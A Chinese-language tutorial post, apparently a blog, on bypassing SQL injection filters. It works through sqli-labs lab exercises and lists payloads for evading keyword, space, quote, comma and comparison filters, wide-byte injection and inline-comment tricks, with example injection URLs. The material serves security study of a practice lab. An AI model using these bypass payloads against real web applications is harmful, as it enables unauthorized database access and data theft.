SQL注入de绕过

SQL注入绕过

基本思路

基本思路找到一种可替换的符号或者可替换的逻辑语句。

--------------------------------------------------------分隔符---------------------------------------------------

过滤关键字
1、and与or的过滤

1)替换

or---> ||
and--> &&

2)形变或者大小写

and -> anandd
and -> And/AND
Less25–and和or的过滤

在这里插入图片描述
1)判断闭合方式
如果判断错误(图2),则页面不变,如果判断成功,页面会报错(图1)
在这里插入图片描述
在这里插入图片描述
再进一步判断:页面会报错
http://192.168.168.135/sqli-labs-master/Less-25/?id=1‘ and 1=1 --+

注意:报错是因为后台存在防御机制

2)做绕过:and的绕过也有好几种,但是有些能成功,有些也被做了防御,所以需要进行试探

http://192.168.168.135/sqli-labs-master/Less-25/?id=1’ anandd 1=1 --+

--------------------------------------------------------分隔符---------------------------------------------------

2、空格的绕过

1)替换

%0a,%0b,%0c,%0d,%a0,%00,/**/,/*!*/,(),[]   都能起到隔开两个命令、语句的作用

Less26:空格的绕过、注释符

http://192.168.168.135/sqli-labs-master/Less-26/?id=1'and%0b'1'='1

--------------------------------------------------------分隔符---------------------------------------------------

3、引号绕过
hex编码
where schema_name='security'
where schema_name=0xyyyyyyy   //hex编码替换
where schema_name=database()  //函数替换

--------------------------------------------------------分隔符---------------------------------------------------

4、逗号绕过
select mid('abc',1,1);
select mid('abc' from 1 for 1);  //用from for替换
select 1,2;     select from 1 for 2;   //出错,逗号应该是逻辑上的替换
select 1;
=select * from (select 1)a
select 1,2,3;
=select * from (select 1)a join (select 2)b
select 1,2,3;
=select * from (select 1)a join (select 2)b join (select 3)c;

--------------------------------------------------------分隔符---------------------------------------------------

5、等号、大于号、小于号绕过
=    ---like
select id from users where username='admin';
=select id from users where username like 'admin';   //like替换等号

greatest和least
select hex(mid('abc',1,1))>1;
=select least(hex(mid('abc',1,1)),1)like1;
select 1 from users where username between 2 and 1;

--------------------------------------------------------分隔符---------------------------------------------------

6、等价函数
hex()---bin()、ascii()
sleep()---waitfor()、benchmark()
mid() ---substr()、substring()

--------------------------------------------------------分隔符---------------------------------------------------

7、宽字节注入–绕过单引号、双引号过滤
%7e  %7e%15
某个汉字=%df%27  %df=\  %27='

后台机制会给特殊字符添加转义字符来达到防御的目的’—>’,当你输入%5c%27,后台对%5c添加转义%df等于你输入的%5c%27组合数据就被添加为%df%5c%27,但是%df%5c是一个宽字节汉字,然后就会形成 縗%27 ->縗’

‘–>’ %5c%5c%5c%27 %df%5c%5c%5c%27 縗\’

select ‘1’’; 输出:1’
’ 语法含义的单引号,是一个闭合符
’ 字符串单引号
\’ 人为添加一个,将’转为一个闭合符
--------------------------------------------------------分隔符---------------------------------------------------

8、内联注释绕过

通过/!/ 包裹执行语句达到欺骗防御的目的

select 1,2 from users;
select username,password from users limit 0,1;
select username,password from users limit 0,1 /*!union*/ /*!all*/ /*!select*/ 1,2;  //如果过滤了union,使用内联注释包裹

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值